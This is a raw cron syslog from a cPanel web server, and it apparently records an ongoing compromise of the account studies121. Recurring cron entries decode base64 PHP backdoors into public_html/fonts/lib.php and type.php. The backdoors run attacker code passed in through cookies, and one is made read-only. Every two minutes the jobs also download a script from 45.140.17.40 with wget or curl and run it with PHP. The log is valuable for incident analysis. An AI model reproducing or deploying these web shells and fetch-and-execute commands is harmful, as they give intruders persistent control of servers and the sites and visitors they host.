Sep  8 09:50:01 ip-184-168-122-23 CROND[27566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:50:01 ip-184-168-122-23 CROND[27573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:50:01 ip-184-168-122-23 CROND[27571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:50:01 ip-184-168-122-23 CROND[27567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:51:01 ip-184-168-122-23 CROND[27770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:51:01 ip-184-168-122-23 CROND[27772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:51:01 ip-184-168-122-23 CROND[27773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:51:01 ip-184-168-122-23 CROND[27776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:52:01 ip-184-168-122-23 CROND[28096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:52:01 ip-184-168-122-23 CROND[28097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:52:01 ip-184-168-122-23 CROND[28099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:52:01 ip-184-168-122-23 CROND[28100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:52:01 ip-184-168-122-23 CROND[28102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:53:02 ip-184-168-122-23 CROND[28462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:53:02 ip-184-168-122-23 CROND[28464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:53:02 ip-184-168-122-23 CROND[28465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:53:02 ip-184-168-122-23 CROND[28469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:54:01 ip-184-168-122-23 CROND[28572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:54:02 ip-184-168-122-23 CROND[28575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:54:02 ip-184-168-122-23 CROND[28577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:54:02 ip-184-168-122-23 CROND[28576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:54:02 ip-184-168-122-23 CROND[28574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:55:01 ip-184-168-122-23 CROND[28708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:55:01 ip-184-168-122-23 CROND[28709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:55:01 ip-184-168-122-23 CROND[28712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:55:01 ip-184-168-122-23 CROND[28715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:55:01 ip-184-168-122-23 CROND[28713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:55:01 ip-184-168-122-23 CROND[28716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:56:01 ip-184-168-122-23 CROND[28828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:56:01 ip-184-168-122-23 CROND[28830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:56:01 ip-184-168-122-23 CROND[28832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:56:01 ip-184-168-122-23 CROND[28831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:56:01 ip-184-168-122-23 CROND[28833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:57:01 ip-184-168-122-23 CROND[28965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:57:01 ip-184-168-122-23 CROND[28967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:57:01 ip-184-168-122-23 CROND[28968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:57:01 ip-184-168-122-23 CROND[28966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:58:01 ip-184-168-122-23 CROND[29059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:58:01 ip-184-168-122-23 CROND[29061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:58:01 ip-184-168-122-23 CROND[29062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:58:01 ip-184-168-122-23 CROND[29064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:58:01 ip-184-168-122-23 CROND[29065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:59:01 ip-184-168-122-23 CROND[29229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:59:01 ip-184-168-122-23 CROND[29232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:59:01 ip-184-168-122-23 CROND[29231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:59:01 ip-184-168-122-23 CROND[29233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:00:01 ip-184-168-122-23 CROND[29348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:00:01 ip-184-168-122-23 CROND[29346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:00:01 ip-184-168-122-23 CROND[29347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:00:01 ip-184-168-122-23 CROND[29350]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:00:01 ip-184-168-122-23 CROND[29351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:00:01 ip-184-168-122-23 CROND[29357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:00:01 ip-184-168-122-23 CROND[29352]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 10:00:01 ip-184-168-122-23 CROND[29353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:00:01 ip-184-168-122-23 CROND[29354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:01:01 ip-184-168-122-23 CROND[29456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:01:01 ip-184-168-122-23 CROND[29460]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 10:01:01 ip-184-168-122-23 CROND[29459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:01:01 ip-184-168-122-23 CROND[29461]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 10:01:01 ip-184-168-122-23 CROND[29458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:01:01 ip-184-168-122-23 CROND[29457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29460]: starting 0anacron
Sep  8 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29479]: finished 0anacron
Sep  8 10:02:01 ip-184-168-122-23 CROND[29564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
